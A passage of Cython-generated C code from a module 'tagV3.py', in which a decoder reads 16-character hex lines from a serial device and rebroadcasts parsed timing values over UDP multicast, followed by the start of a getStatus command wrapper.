__Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_1}; __pyx_t_5 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 364, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_8 = PyTuple_New(1+1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 364, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_8, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_8, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_8, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 364, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; /* "tagV3.py":365 * sock.setsockopt(socket.IPPROTO_IP, socket.IP_MULTICAST_TTL, ttl) * theSer.write('VERSION\r\n'.encode()) * theSer.write('CANO MODE\r\n'.encode()) # <<<<<<<<<<<<<< * * while(1): */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_theSer, __pyx_n_s_write); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 365, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_8 = PyUnicode_AsEncodedString(__pyx_kp_u_CANO_MODE, NULL, NULL); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 365, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (!__pyx_t_1) { __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_8); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 365, __pyx_L1_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_5); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_8}; __pyx_t_5 = __Pyx_PyFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 365, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_3)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_8}; __pyx_t_5 = __Pyx_PyCFunction_FastCall(__pyx_t_3, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 365, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 365, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_8); __pyx_t_8 = 0; __pyx_t_5 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_t_2, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 365, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; /* "tagV3.py":367 * theSer.write('CANO MODE\r\n'.encode()) * * while(1): # <<<<<<<<<<<<<< * line = theSer.readline() * if len(line)==(16): */ while (1) { /* "tagV3.py":368 * * while(1): * line = theSer.readline() # <<<<<<<<<<<<<< * if len(line)==(16): * tp = int( line[0:5] , 16 ) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_theSer, __pyx_n_s_readline); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 368, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_3))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_3); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_3); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_3, function); } } if (__pyx_t_2) { __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_3, __pyx_t_2); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 368, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else { __pyx_t_5 = __Pyx_PyObject_CallNoArg(__pyx_t_3); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 368, __pyx_L1_error) } __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_XDECREF_SET(__pyx_v_line, __pyx_t_5); __pyx_t_5 = 0; /* "tagV3.py":369 * while(1): * line = theSer.readline() * if len(line)==(16): # <<<<<<<<<<<<<< * tp = int( line[0:5] , 16 ) * millis = int( line[6:] , 16 ) */ __pyx_t_10 = PyObject_Length(__pyx_v_line); if (unlikely(__pyx_t_10 == -1)) __PYX_ERR(0, 369, __pyx_L1_error) __pyx_t_7 = ((__pyx_t_10 == 16) != 0); if (__pyx_t_7) { /* "tagV3.py":370 * line = theSer.readline() * if len(line)==(16): * tp = int( line[0:5] , 16 ) # <<<<<<<<<<<<<< * millis = int( line[6:] , 16 ) * try: */ __pyx_t_5 = __Pyx_PyObject_GetSlice(__pyx_v_line, 0, 5, NULL, NULL, &__pyx_slice__21, 1, 1, 1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 370, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = PyTuple_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 370, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_5); __Pyx_INCREF(__pyx_int_16); __Pyx_GIVEREF(__pyx_int_16); PyTuple_SET_ITEM(__pyx_t_3, 1, __pyx_int_16); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(((PyObject *)(&PyInt_Type)), __pyx_t_3, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 370, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_XDECREF_SET(__pyx_v_tp, __pyx_t_5); __pyx_t_5 = 0; /* "tagV3.py":371 * if len(line)==(16): * tp = int( line[0:5] , 16 ) * millis = int( line[6:] , 16 ) # <<<<<<<<<<<<<< * try: * message = str(tp) +" " + str( millis ) */ __pyx_t_5 = __Pyx_PyObject_GetSlice(__pyx_v_line, 6, 0, NULL, NULL, &__pyx_slice__22, 1, 0, 1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 371, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __pyx_t_3 = PyTuple_New(2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 371, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_t_5); __Pyx_INCREF(__pyx_int_16); __Pyx_GIVEREF(__pyx_int_16); PyTuple_SET_ITEM(__pyx_t_3, 1, __pyx_int_16); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyObject_Call(((PyObject *)(&PyInt_Type)), __pyx_t_3, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 371, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_XDECREF_SET(__pyx_v_millis, __pyx_t_5); __pyx_t_5 = 0; /* "tagV3.py":372 * tp = int( line[0:5] , 16 ) * millis = int( line[6:] , 16 ) * try: # <<<<<<<<<<<<<< * message = str(tp) +" " + str( millis ) * sock.sendto(message.encode(), multicast_group) */ /*try:*/ { { __Pyx_PyThreadState_declare __Pyx_PyThreadState_assign __Pyx_ExceptionSave(&__pyx_t_11, &__pyx_t_12, &__pyx_t_13); __Pyx_XGOTREF(__pyx_t_11); __Pyx_XGOTREF(__pyx_t_12); __Pyx_XGOTREF(__pyx_t_13); /*try:*/ { /* "tagV3.py":373 * millis = int( line[6:] , 16 ) * try: * message = str(tp) +" " + str( millis ) # <<<<<<<<<<<<<< * sock.sendto(message.encode(), multicast_group) * except socket.timeout: */ __pyx_t_5 = PyTuple_New(1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 373, __pyx_L12_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_INCREF(__pyx_v_tp); __Pyx_GIVEREF(__pyx_v_tp); PyTuple_SET_ITEM(__pyx_t_5, 0, __pyx_v_tp); __pyx_t_3 = __Pyx_PyObject_Call(((PyObject *)(&PyUnicode_Type)), __pyx_t_5, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 373, __pyx_L12_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = __Pyx_PyUnicode_Concat(__pyx_t_3, __pyx_kp_u__23); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 373, __pyx_L12_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = PyTuple_New(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 373, __pyx_L12_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_INCREF(__pyx_v_millis); __Pyx_GIVEREF(__pyx_v_millis); PyTuple_SET_ITEM(__pyx_t_3, 0, __pyx_v_millis); __pyx_t_2 = __Pyx_PyObject_Call(((PyObject *)(&PyUnicode_Type)), __pyx_t_3, NULL); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 373, __pyx_L12_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyUnicode_Concat(__pyx_t_5, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 373, __pyx_L12_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF_SET(__pyx_v_message, __pyx_t_3); __pyx_t_3 = 0; /* "tagV3.py":374 * try: * message = str(tp) +" " + str( millis ) * sock.sendto(message.encode(), multicast_group) # <<<<<<<<<<<<<< * except socket.timeout: * print("exception on send multicast") */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_sock, __pyx_n_s_sendto); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 374, __pyx_L12_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_v_message, __pyx_n_s_encode); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 374, __pyx_L12_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_8))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_8); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_8); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_8, function); } } if (__pyx_t_1) { __pyx_t_5 = __Pyx_PyObject_CallOneArg(__pyx_t_8, __pyx_t_1); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 374, __pyx_L12_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else { __pyx_t_5 = __Pyx_PyObject_CallNoArg(__pyx_t_8); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 374, __pyx_L12_error) } __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __pyx_t_8 = NULL; __pyx_t_4 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_8 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_8)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_8); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_4 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[3] = {__pyx_t_8, __pyx_t_5, __pyx_v_multicast_group}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_4, 2+__pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 374, __pyx_L12_error) __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[3] = {__pyx_t_8, __pyx_t_5, __pyx_v_multicast_group}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_4, 2+__pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 374, __pyx_L12_error) __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; } else #endif { __pyx_t_1 = PyTuple_New(2+__pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 374, __pyx_L12_error) __Pyx_GOTREF(__pyx_t_1); if (__pyx_t_8) { __Pyx_GIVEREF(__pyx_t_8); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_8); __pyx_t_8 = NULL; } __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_1, 0+__pyx_t_4, __pyx_t_5); __Pyx_INCREF(__pyx_v_multicast_group); __Pyx_GIVEREF(__pyx_v_multicast_group); PyTuple_SET_ITEM(__pyx_t_1, 1+__pyx_t_4, __pyx_v_multicast_group); __pyx_t_5 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 374, __pyx_L12_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "tagV3.py":372 * tp = int( line[0:5] , 16 ) * millis = int( line[6:] , 16 ) * try: # <<<<<<<<<<<<<< * message = str(tp) +" " + str( millis ) * sock.sendto(message.encode(), multicast_group) */ } __Pyx_XDECREF(__pyx_t_11); __pyx_t_11 = 0; __Pyx_XDECREF(__pyx_t_12); __pyx_t_12 = 0; __Pyx_XDECREF(__pyx_t_13); __pyx_t_13 = 0; goto __pyx_L19_try_end; __pyx_L12_error:; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; /* "tagV3.py":375 * message = str(tp) +" " + str( millis ) * sock.sendto(message.encode(), multicast_group) * except socket.timeout: # <<<<<<<<<<<<<< * print("exception on send multicast") * finally: */ __pyx_t_3 = __Pyx_GetModuleGlobalName(__pyx_n_s_socket); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 375, __pyx_L14_except_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_timeout); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 375, __pyx_L14_except_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_4 = __Pyx_PyErr_ExceptionMatches(__pyx_t_2); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; if (__pyx_t_4) { __Pyx_AddTraceback("tagV3.decoder.decoder", __pyx_clineno, __pyx_lineno, __pyx_filename); if (__Pyx_GetException(&__pyx_t_2, &__pyx_t_3, &__pyx_t_1) < 0) __PYX_ERR(0, 375, __pyx_L14_except_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GOTREF(__pyx_t_3); __Pyx_GOTREF(__pyx_t_1); /* "tagV3.py":376 * sock.sendto(message.encode(), multicast_group) * except socket.timeout: * print("exception on send multicast") # <<<<<<<<<<<<<< * finally: * message="" */ __pyx_t_5 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_tuple__24, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 376, __pyx_L14_except_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; goto __pyx_L13_exception_handled; } goto __pyx_L14_except_error; __pyx_L14_except_error:; /* "tagV3.py":372 * tp = int( line[0:5] , 16 ) * millis = int( line[6:] , 16 ) * try: # <<<<<<<<<<<<<< * message = str(tp) +" " + str( millis ) * sock.sendto(message.encode(), multicast_group) */ __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_11); __Pyx_XGIVEREF(__pyx_t_12); __Pyx_XGIVEREF(__pyx_t_13); __Pyx_ExceptionReset(__pyx_t_11, __pyx_t_12, __pyx_t_13); goto __pyx_L10_error; __pyx_L13_exception_handled:; __Pyx_PyThreadState_assign __Pyx_XGIVEREF(__pyx_t_11); __Pyx_XGIVEREF(__pyx_t_12); __Pyx_XGIVEREF(__pyx_t_13); __Pyx_ExceptionReset(__pyx_t_11, __pyx_t_12, __pyx_t_13); __pyx_L19_try_end:; } } /* "tagV3.py":378 * print("exception on send multicast") * finally: * message="" # <<<<<<<<<<<<<< * else: * print( line ) */ /*finally:*/ { /*normal exit:*/{ __Pyx_INCREF(__pyx_kp_u_); __Pyx_XDECREF_SET(__pyx_v_message, __pyx_kp_u_); goto __pyx_L11; } /*exception exit:*/{ __Pyx_PyThreadState_declare __pyx_L10_error:; __pyx_t_13 = 0; __pyx_t_12 = 0; __pyx_t_11 = 0; __pyx_t_16 = 0; __pyx_t_17 = 0; __pyx_t_18 = 0; __Pyx_PyThreadState_assign __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; if (PY_MAJOR_VERSION >= 3) __Pyx_ExceptionSwap(&__pyx_t_16, &__pyx_t_17, &__pyx_t_18); if ((PY_MAJOR_VERSION < 3) || unlikely(__Pyx_GetException(&__pyx_t_13, &__pyx_t_12, &__pyx_t_11) < 0)) __Pyx_ErrFetch(&__pyx_t_13, &__pyx_t_12, &__pyx_t_11); __Pyx_XGOTREF(__pyx_t_13); __Pyx_XGOTREF(__pyx_t_12); __Pyx_XGOTREF(__pyx_t_11); __Pyx_XGOTREF(__pyx_t_16); __Pyx_XGOTREF(__pyx_t_17); __Pyx_XGOTREF(__pyx_t_18); __pyx_t_4 = __pyx_lineno; __pyx_t_14 = __pyx_clineno; __pyx_t_15 = __pyx_filename; { __Pyx_INCREF(__pyx_kp_u_); __Pyx_XDECREF_SET(__pyx_v_message, __pyx_kp_u_); } __Pyx_PyThreadState_assign if (PY_MAJOR_VERSION >= 3) { __Pyx_XGIVEREF(__pyx_t_16); __Pyx_XGIVEREF(__pyx_t_17); __Pyx_XGIVEREF(__pyx_t_18); __Pyx_ExceptionReset(__pyx_t_16, __pyx_t_17, __pyx_t_18); } __Pyx_XGIVEREF(__pyx_t_13); __Pyx_XGIVEREF(__pyx_t_12); __Pyx_XGIVEREF(__pyx_t_11); __Pyx_ErrRestore(__pyx_t_13, __pyx_t_12, __pyx_t_11); __pyx_t_13 = 0; __pyx_t_12 = 0; __pyx_t_11 = 0; __pyx_t_16 = 0; __pyx_t_17 = 0; __pyx_t_18 = 0; __pyx_lineno = __pyx_t_4; __pyx_clineno = __pyx_t_14; __pyx_filename = __pyx_t_15; goto __pyx_L1_error; } __pyx_L11:; } /* "tagV3.py":369 * while(1): * line = theSer.readline() * if len(line)==(16): # <<<<<<<<<<<<<< * tp = int( line[0:5] , 16 ) * millis = int( line[6:] , 16 ) */ goto __pyx_L6; } /* "tagV3.py":380 * message="" * else: * print( line ) # <<<<<<<<<<<<<< * print( len( line )) * print( "\n") */ /*else*/ { __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 380, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_INCREF(__pyx_v_line); __Pyx_GIVEREF(__pyx_v_line); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_v_line); __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 380, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "tagV3.py":381 * else: * print( line ) * print( len( line )) # <<<<<<<<<<<<<< * print( "\n") * exit(0) */ __pyx_t_10 = PyObject_Length(__pyx_v_line); if (unlikely(__pyx_t_10 == -1)) __PYX_ERR(0, 381, __pyx_L1_error) __pyx_t_3 = PyInt_FromSsize_t(__pyx_t_10); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 381, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_1 = PyTuple_New(1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 381, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_3); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 381, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "tagV3.py":382 * print( line ) * print( len( line )) * print( "\n") # <<<<<<<<<<<<<< * exit(0) * */ __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_print, __pyx_tuple__25, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 382, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __pyx_L6:; } /* "tagV3.py":383 * print( len( line )) * print( "\n") * exit(0) # <<<<<<<<<<<<<< * * # Command Definition */ __pyx_t_3 = __Pyx_PyObject_Call(__pyx_builtin_exit, __pyx_tuple__26, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 383, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "tagV3.py":349 * return p * * def decoder(self, device, baud, ip, port): # <<<<<<<<<<<<<< * theSer = serial.Serial( device, baud) * if not theSer.is_open: */ /* function exit code */ __pyx_r = Py_None; __Pyx_INCREF(Py_None); goto __pyx_L0; __pyx_L1_error:; __Pyx_XDECREF(__pyx_t_1); __Pyx_XDECREF(__pyx_t_2); __Pyx_XDECREF(__pyx_t_3); __Pyx_XDECREF(__pyx_t_5); __Pyx_XDECREF(__pyx_t_8); __Pyx_XDECREF(__pyx_t_9); __Pyx_AddTraceback("tagV3.decoder.decoder", __pyx_clineno, __pyx_lineno, __pyx_filename); __pyx_r = NULL; __pyx_L0:; __Pyx_XDECREF(__pyx_v_theSer); __Pyx_XDECREF(__pyx_v_multicast_group); __Pyx_XDECREF(__pyx_v_sock); __Pyx_XDECREF(__pyx_v_ttl); __Pyx_XDECREF(__pyx_v_line); __Pyx_XDECREF(__pyx_v_tp); __Pyx_XDECREF(__pyx_v_millis); __Pyx_XDECREF(__pyx_v_message); __Pyx_XGIVEREF(__pyx_r); __Pyx_RefNannyFinishContext(); return __pyx_r; } /* "tagV3.py":386 * * # Command Definition * def getStatus( self ): # <<<<<<<<<<<<<< * self.sendCmd( self.cmd['Status'] ) * # response: [STATUS] */ /* Python wrapper */ static PyObject *__pyx_pw_5tagV3_7decoder_5getStatus(PyObject *__pyx_self, PyObject *__pyx_v_self); /*proto*/ static PyMethodDef __pyx_mdef_5tagV3_7decoder_5getStatus = {"getStatus", (PyCFunction)__pyx_pw_5tagV3_7decoder_5getStatus, METH_O, 0}; static PyObject *__pyx_pw_5tagV3_7decoder_5getStatus(PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = 0; __Pyx_RefNannyDeclarations __Pyx_RefNannySetupContext("getStatus (wrapper)", 0); __pyx_r = __pyx_pf_5tagV3_7decoder_4getStatus(__pyx_self, ((PyObject *)__pyx_v_self)); /* function exit code */ __Pyx_RefNannyFinishContext(); return __pyx_r; } static PyObject *__pyx_pf_5tagV3_7decoder_4getStatus(CYTHON_UNUSED PyObject *__pyx_self, PyObject *__pyx_v_self) { PyObject *__pyx_r = NULL; __Pyx_RefNannyDeclarations PyObject *__pyx_t_1 = NULL; PyObject *__pyx_t_2 = NULL; PyObject *__pyx_t_3 = NULL; PyObject *__pyx_t_4 = NULL; PyObject *__pyx_t_5 = NULL; __Pyx_RefNannySetupContext("getStatus", 0); /* "tagV3.py":387 * # Command Definition * def getStatus( self ): * self.sendCmd( self.cmd['Status'] ) # <<<<<<<<<<<<<< * # response: [STATUS] * def start( self ): */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_sendCmd); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 387, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_cmd); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 387, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_4 = PyObject_GetItem(__pyx_t_3, __pyx_n_u_Status); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 387, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_3 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_3)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_3); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); } } if (!__pyx_t_3) { __pyx_t_1 = __Pyx_PyObject_CallOneArg(__pyx_t_2, __pyx_t_4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 387, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_1); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[2] = {__pyx_t_3, __pyx_t_4}; __pyx_t_1 = 